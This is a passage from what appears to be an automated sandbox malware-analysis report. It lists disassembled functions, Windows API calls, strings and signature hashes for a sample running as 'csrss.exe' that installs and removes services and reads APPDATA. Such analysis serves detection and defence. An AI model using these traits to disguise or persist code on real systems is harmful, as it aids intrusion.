Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: MetricsSystemWindow$Rect
String ID:
API String ID: 3945642117-0
Opcode ID: fe32e91b69aaa1d2b637ff7952becf156c1a30edb15e298148cbcaeddfc2dc8a
Instruction ID: 4fa0a5c1d0f5e4edb482e2f948fe2430c87347118afd9961dbd7822ee91cc292
Opcode Fuzzy Hash: fe32e91b69aaa1d2b637ff7952becf156c1a30edb15e298148cbcaeddfc2dc8a
Instruction Fuzzy Hash: D01173B1A10119ABCB04DFB8DD599AFBBB9EB44314F154269E902E7190DB71A900CBA0

Function 0021DC2B Relevance: 6.1, APIs: 4, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 0021DC45

Part of subcall function 0021DB92: BuildCatchObjectHelperInternal.LIBVCRUNTIME ref: 0021DBC1
Part of subcall function 0021DB92: ___AdjustPointer.LIBCMT ref: 0021DBDC

_UnwindNestedFrames.LIBCMT ref: 0021DC5A
__FrameHandler3::FrameUnwindToState.LIBVCRUNTIME ref: 0021DC6B
CallCatchBlock.LIBVCRUNTIME ref: 0021DC93

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: Catch$BuildFrameObjectUnwind$AdjustBlockCallFramesHandler3::HelperInternalNestedPointerState
String ID:
API String ID: 737400349-0
Opcode ID: 37c095809e1bf7e48bf3418cc1414d78755f3cccd12a3e339f2955e8fd36c6fb
Instruction ID: f1a962b1ed60913fb44db109b9c135c33d31e26c395be3121d2303390efba72e
Opcode Fuzzy Hash: 37c095809e1bf7e48bf3418cc1414d78755f3cccd12a3e339f2955e8fd36c6fb
Instruction Fuzzy Hash: B2014C72110149BBCF126E95CD41EEB3BAAEFA8754F054415FE1856121D332E8B1DFA0

Function 00224335 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00000000,00000000,?,002242DC,?,00000000,00000000,00000000,?,002244D9,00000006,FlsSetValue), ref: 00224367
GetLastError.KERNEL32(?,002242DC,?,00000000,00000000,00000000,?,002244D9,00000006,FlsSetValue,00231C68,FlsSetValue,00000000,00000364,?,00222FAC), ref: 00224373
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,002242DC,?,00000000,00000000,00000000,?,002244D9,00000006,FlsSetValue,00231C68,FlsSetValue,00000000), ref: 00224381

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: 07e00d01a2e046803cb89ad6ca4af64fe58e678db393b11dcab038da78d83318
Instruction ID: 8a683b32fdd10dd22752cf7c2053d9ee1e3ee35e8df47defa81af031912976eb
Opcode Fuzzy Hash: 07e00d01a2e046803cb89ad6ca4af64fe58e678db393b11dcab038da78d83318
Instruction Fuzzy Hash: C6018436666237BBC721EEA9FC98A567758AF45BA1B340660F906D7140D720D821CAF0

Function 001F29C0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 191COMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.KERNEL32(APPDATA,?,00000207,?,?,00000000), ref: 001F2AB9
_wcslen.LIBCMT ref: 001F2AC6

Strings

APPDATA, xrefs: 001F2AB4

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: EnvironmentVariable_wcslen
String ID: APPDATA
API String ID: 4168748220-4054820676
Opcode ID: 87525d39e4a3e0f01884d1a98b45efe508fa51db7f4c8bfafe14cb1dd98205a0
Instruction ID: db62cd2b1fb5c8adeebbb506904c53f6c0dbadecfcf54cd88744002977d11fea
Opcode Fuzzy Hash: 87525d39e4a3e0f01884d1a98b45efe508fa51db7f4c8bfafe14cb1dd98205a0
Instruction Fuzzy Hash: 9A61C6B19102199BCB28DF24DC917BEB3B4FF55310F6002ADEA1AD7290D7309E84CB95

Function 002256B1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 00222EDA: GetLastError.KERNEL32(?,?,0022080C,00244590,00000010), ref: 00222EDE
Part of subcall function 00222EDA: _free.LIBCMT ref: 00222F11
Part of subcall function 00222EDA: SetLastError.KERNEL32(00000000), ref: 00222F52
Part of subcall function 00222EDA: _abort.LIBCMT ref: 00222F58

Part of subcall function 002257D0: _abort.LIBCMT ref: 00225802
Part of subcall function 002257D0: _free.LIBCMT ref: 00225836

Part of subcall function 00225445: GetOEMCP.KERNEL32(00000000), ref: 00225470

_free.LIBCMT ref: 00225729
_free.LIBCMT ref: 0022575F

Strings

d$, xrefs: 00225753

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: _free$ErrorLast_abort
String ID: d$
API String ID: 2991157371-3651395310
Opcode ID: e4d9f93ffecb8c7d78f442c213aecde124c9ef23340666b987242854771e5f3b
Instruction ID: ca4c04d8d71f771c64cfe234983d0592c1a4d5e9e3acaa9418c497cfdcf71dbb
Opcode Fuzzy Hash: e4d9f93ffecb8c7d78f442c213aecde124c9ef23340666b987242854771e5f3b
Instruction Fuzzy Hash: B231BE31910625FFDB10EFE8F484BA9B7F5EF41320F258099E4049B291EB769E61DB10

Function 001F2A46 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.KERNEL32(APPDATA,?,00000207,?,?,00000000), ref: 001F2AB9
_wcslen.LIBCMT ref: 001F2AC6

Strings

APPDATA, xrefs: 001F2AB4

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: EnvironmentVariable_wcslen
String ID: APPDATA
API String ID: 4168748220-4054820676
Opcode ID: 49d1392a75972c0094b2d6bd2a4352fd008791b8be913e164fd25fd606bf07dc
Instruction ID: 9a0ac6a487531360301a9e0415d3f8778ac437c07bcb3067663e9c5a304586fe
Opcode Fuzzy Hash: 49d1392a75972c0094b2d6bd2a4352fd008791b8be913e164fd25fd606bf07dc
Instruction Fuzzy Hash: 57218EB2A502199BCB24DF14DC917E9B3B4FF49300F5005AEEA09A7241E7346A94CF99

Function 001E607E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000044,?), ref: 001E60DD
CloseHandle.KERNEL32(?), ref: 001E60EF

Strings

D, xrefs: 001E6098

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: D
API String ID: 3712363035-2746444292
Opcode ID: d874097e009268356ac0548926829ea099def829844aa1335dd13083c772f0d5
Instruction ID: 09c426786d30fb6a67ec193235c1b7c6af6931e4b1a9c64df6d1c67cfad4da39
Opcode Fuzzy Hash: d874097e009268356ac0548926829ea099def829844aa1335dd13083c772f0d5
Instruction Fuzzy Hash: A2019A74900248ABCB14DFA9DC89EEF7BB9FB95B04F004419F508AB294D7B09588CFB5

Function 002257D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00222EDA: GetLastError.KERNEL32(?,?,0022080C,00244590,00000010), ref: 00222EDE
Part of subcall function 00222EDA: _free.LIBCMT ref: 00222F11
Part of subcall function 00222EDA: SetLastError.KERNEL32(00000000), ref: 00222F52
Part of subcall function 00222EDA: _abort.LIBCMT ref: 00222F58

_abort.LIBCMT ref: 00225802
_free.LIBCMT ref: 00225836

Strings

d$, xrefs: 0022582D

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: ErrorLast_abort_free
String ID: d$
API String ID: 289325740-3651395310
Opcode ID: 47d54d21988ecd209189bf718bb4814fec51b2df63f185cc797e5c9cfd32cb73
Instruction ID: c0325795c2baf185932182c60141ef6259ee7233cbab8990894dfb5d78f664d9
Opcode Fuzzy Hash: 47d54d21988ecd209189bf718bb4814fec51b2df63f185cc797e5c9cfd32cb73
Instruction Fuzzy Hash: 8F01A135C21A32FBCB21AF98B40165DF3A0EF05720B058209E95467681C7746DE1CFC2

Function 0021AF69 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 0021AF75

Part of subcall function 0021AEEC: std::exception::exception.LIBCONCRT ref: 0021AEF9

__CxxThrowException@8.LIBVCRUNTIME ref: 0021AF83

Part of subcall function 0021D84D: RaiseException.KERNEL32(?,?,?,0021B9D7,?,?,?,?,?,?,?,?,0021B9D7,?,00244410), ref: 0021D8AD

Strings

Unknown exception, xrefs: 0021AF90

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: ExceptionException@8RaiseThrowstd::exception::exceptionstd::invalid_argument::invalid_argument
String ID: Unknown exception
API String ID: 1586462112-410509341
Opcode ID: 46d355a5cae688b09b74a798957db541de0da21a67e7380528a2cf7ef0648c4a
Instruction ID: 0b22ce515dbaefb0405c4d9663e9f8ae478813068706509dc80c223b21ea3b4a
Opcode Fuzzy Hash: 46d355a5cae688b09b74a798957db541de0da21a67e7380528a2cf7ef0648c4a
Instruction Fuzzy Hash: 0ED0C779A2010CBBCB04FEE4C856EE97BAC7E60700B9084A4B524D7541E771F57A8AD1

Analysis Process: csrss.exePID: 2832, Parent PID: 5308COMMON

Execution Graph

Execution Coverage:	16.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	7.4%
Total number of Nodes:	244
Total number of Limit Nodes:	5

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 004010E0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 47
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F,?,0040135E,00000003,00B00004,00B00070), ref: 0040112F
CloseServiceHandle.ADVAPI32(?), ref: 00401177

Part of subcall function 00401000: CreateServiceA.ADVAPI32(?,00000000,00000000,000F01FF,00000010,00000002,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,0040116E,00000000), ref: 00401028
Part of subcall function 00401000: GetLastError.KERNEL32 ref: 00401037

Strings

remove, xrefs: 00401139
to remove a service, xrefs: 0040110F
to install a service, or:, xrefs: 004010F5
instsrv <service name> remove, xrefs: 00401102
usage: instsrv <service name> <exe location>, xrefs: 004010E8

Memory Dump Source

Source File: 00000009.00000002.2151583139.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2151572483.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.2151598015.0000000000407000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.2151609720.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_csrss.jbxd

Similarity

API ID: Service$CloseCreateErrorHandleLastManagerOpen
String ID: to install a service, or:$ to remove a service$ instsrv <service name> remove$remove$usage: instsrv <service name> <exe location>
API String ID: 710590943-85595265
Opcode ID: 4909e3e4582a22af6c748da90620287d2624ef1429a5e3185fc1039badab6610
Instruction ID: 353319d7dfe2037f4ed2078fb33779f003bb303dae6d8b9b3d59d45404ce68a6
Opcode Fuzzy Hash: 4909e3e4582a22af6c748da90620287d2624ef1429a5e3185fc1039badab6610
Instruction Fuzzy Hash: D201D4F6E4430077D214A7A1AD07F0B32A45B29709F00043AFB497E3E1E579F504865F

Function 0040300E Relevance: 4.6, APIs: 3, Instructions: 124
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.2151583139.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2151572483.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.2151598015.0000000000407000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.2151609720.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bab37958eb5f79b44f4d3209cebfb9d56f7b9b34d22085ddd48886632c47bb50
Instruction ID: 8213edd86c4eb535c4edb0898bf23675c9af45821ea8eb930510e7946c953040
Opcode Fuzzy Hash: bab37958eb5f79b44f4d3209cebfb9d56f7b9b34d22085ddd48886632c47bb50
Instruction Fuzzy Hash: 7E419270904248AFDB10CF68DD88B9A7FB8BB08355F1045BAE915BB2D0C379AB45CB59

Function 00402560 Relevance: 4.6, APIs: 3, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStartupInfoA.KERNEL32(?), ref: 0040256D
GetStdHandle.KERNEL32(FFFFFFF6), ref: 004025FC
GetFileType.KERNELBASE(00000000), ref: 00402611

Memory Dump Source

Source File: 00000009.00000002.2151583139.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2151572483.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.2151598015.0000000000407000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.2151609720.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_csrss.jbxd

Similarity

API ID: FileHandleInfoStartupType
String ID:
API String ID: 2461013171-0
Opcode ID: 8c592e3be1bb84e285c318642baaeb7845c6dd863c1d3be7f53c5ba47c60504d
Instruction ID: 0baf37c9e7bd398683fb6dd673a0fcc94f3d0d7a6e3f053bebe0ad358307331e
Opcode Fuzzy Hash: 8c592e3be1bb84e285c318642baaeb7845c6dd863c1d3be7f53c5ba47c60504d
Instruction Fuzzy Hash: 2B212372D0400587DF10CA78CA8C69F77A4AB01334F650776D865BB3C1C378BD46D69A

Function 00402EDA Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 60
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(?,00404119,00001000,00000004,00000000,00000000,00404118,?,00402E48,00000000,00401887,0040284B,00000000,?,0040288A,0040284B), ref: 00402F3D
GetLastError.KERNEL32 ref: 00402F4C

Strings

K(@, xrefs: 00402EDE

Memory Dump Source

Source File: 00000009.00000002.2151583139.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2151572483.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.2151598015.0000000000407000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.2151609720.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_csrss.jbxd

Similarity

API ID: AllocErrorLastVirtual
String ID: K(@
API String ID: 497505419-2819576841
Opcode ID: cf884d1dd445a6021487f831ead31643f1ffdc67dd9da17a93c4d922c4b2aaa2
Instruction ID: 81ba2ce6713000aaf0f46ef24502ef6d392efc0e79580b6452652e24c231f545
Opcode Fuzzy Hash: cf884d1dd445a6021487f831ead31643f1ffdc67dd9da17a93c4d922c4b2aaa2
Instruction Fuzzy Hash: BC1159B17002161BC3249B388F8DA1BBB68EFD0791F00063AF959B63D1DA74A85095AC

Function 004012AC Relevance: 4.6, APIs: 3, Instructions: 58
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32 ref: 004012D2

Part of subcall function 00402560: GetStartupInfoA.KERNEL32(?), ref: 0040256D
Part of subcall function 00402560: GetStdHandle.KERNEL32(FFFFFFF6), ref: 004025FC
Part of subcall function 00402560: GetFileType.KERNELBASE(00000000), ref: 00402611

GetCommandLineA.KERNEL32 ref: 0040131D

Part of subcall function 004020C9: GetModuleFileNameA.KERNEL32(00000000,00404000,00000104), ref: 004020DE

GetEnvironmentStrings.KERNELBASE ref: 0040132D

Part of subcall function 004010E0: OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F,?,0040135E,00000003,00B00004,00B00070), ref: 0040112F
Part of subcall function 004010E0: CloseServiceHandle.ADVAPI32(?), ref: 00401177

Memory Dump Source

Source File: 00000009.00000002.2151583139.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2151572483.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.2151598015.0000000000407000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.2151609720.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_csrss.jbxd

Similarity

API ID: FileHandle$CloseCommandEnvironmentInfoLineManagerModuleNameOpenServiceStartupStringsTypeVersion
String ID:
API String ID: 196492355-0
Opcode ID: 9fa040449c98ef55911817284c045c467df2bef523b6382b50ee53838fc37c9a
Instruction ID: 557d7318bcc6d0f15c327a05e72f74017b807eec02a523ce4e21715234ef6ed4
Opcode Fuzzy Hash: 9fa040449c98ef55911817284c045c467df2bef523b6382b50ee53838fc37c9a
Instruction Fuzzy Hash: C7118EB1D046019BC700EFA9EE497597BA8FB08314F10463EF915B73E1DB7865008B9E

Function 00402E56 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 43
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00200FFF,00002000,00000004,00000000,0040410C,?,00402E3C,FFFFFFFF,00401887,0040284B,00000000,?,0040288A,0040284B,?), ref: 00402E8D

Strings

K(@, xrefs: 00402E79, 00402E8A, 00402E9B

Memory Dump Source

Source File: 00000009.00000002.2151583139.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2151572483.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.2151598015.0000000000407000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.2151609720.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_csrss.jbxd

Similarity

API ID: AllocVirtual
String ID: K(@
API String ID: 4275171209-2819576841
Opcode ID: af9e6b7342db7efb74fcd997a3813977fa84af1b756f5919dc2a68c4d0e77775
Instruction ID: 791a23ae568cd74810a4191716c43d0d1db44035dedb9d925fb705f0d1067edf
Opcode Fuzzy Hash: af9e6b7342db7efb74fcd997a3813977fa84af1b756f5919dc2a68c4d0e77775
Instruction Fuzzy Hash: D401F7B2A442015BE3109B289E4DB1236989BD4361F14053EE619FE3D1D2B19951C7EE

Function 0040120D Relevance: 1.5, APIs: 1, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32 ref: 00401283

Memory Dump Source

Source File: 00000009.00000002.2151583139.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2151572483.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.2151598015.0000000000407000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.2151609720.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_csrss.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 3b66b64bee8deabab78ae2e2db559e229a8da94d12edb63b6b1d3c2dc3f4ea9a
Instruction ID: 893734189fc4731028e072c868556611a03e55db0286ce8881573b539ccf3b0e
Opcode Fuzzy Hash: 3b66b64bee8deabab78ae2e2db559e229a8da94d12edb63b6b1d3c2dc3f4ea9a
Instruction Fuzzy Hash: 10F0A4309952119BDB206B64EE85B9A3254975070AF1080BFF844B22F0C7786C88CEAF

Function 00402675 Relevance: 1.3, APIs: 1, Instructions: 27
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00001000,00001000,00000004,004026D9,00402936,0040284B,00000000,004028E1,00000000,0040284B,?), ref: 00402683

Memory Dump Source

Source File: 00000009.00000002.2151583139.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2151572483.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.2151598015.0000000000407000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.2151609720.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_csrss.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 02f45a5111896457e3621add05723a4d791ec2d9cfc6282688b6e3778ed80c70
Instruction ID: 33a3f408d18bd989b8eb3651cab89eff2002b1ff003aa8633f4705f1afed6cf9
Opcode Fuzzy Hash: 02f45a5111896457e3621add05723a4d791ec2d9cfc6282688b6e3778ed80c70
Instruction Fuzzy Hash: 20F0E5B03402024BE7199F50CE147643691E795742F108979D105EE7E0E7FD88828B5C

Non-executed Functions

Function 00401070 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 30
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenServiceA.ADVAPI32(?,00000000,000F01FF,0040115C,00000000), ref: 00401081
GetLastError.KERNEL32 ref: 00401090
DeleteService.ADVAPI32(00000000), ref: 004010AB

Strings

DeleteService SUCCESS, xrefs: 004010B5
failure: OpenService (0x%02x), xrefs: 00401097
failure: DeleteService (0x%02x), xrefs: 004010CA

Memory Dump Source

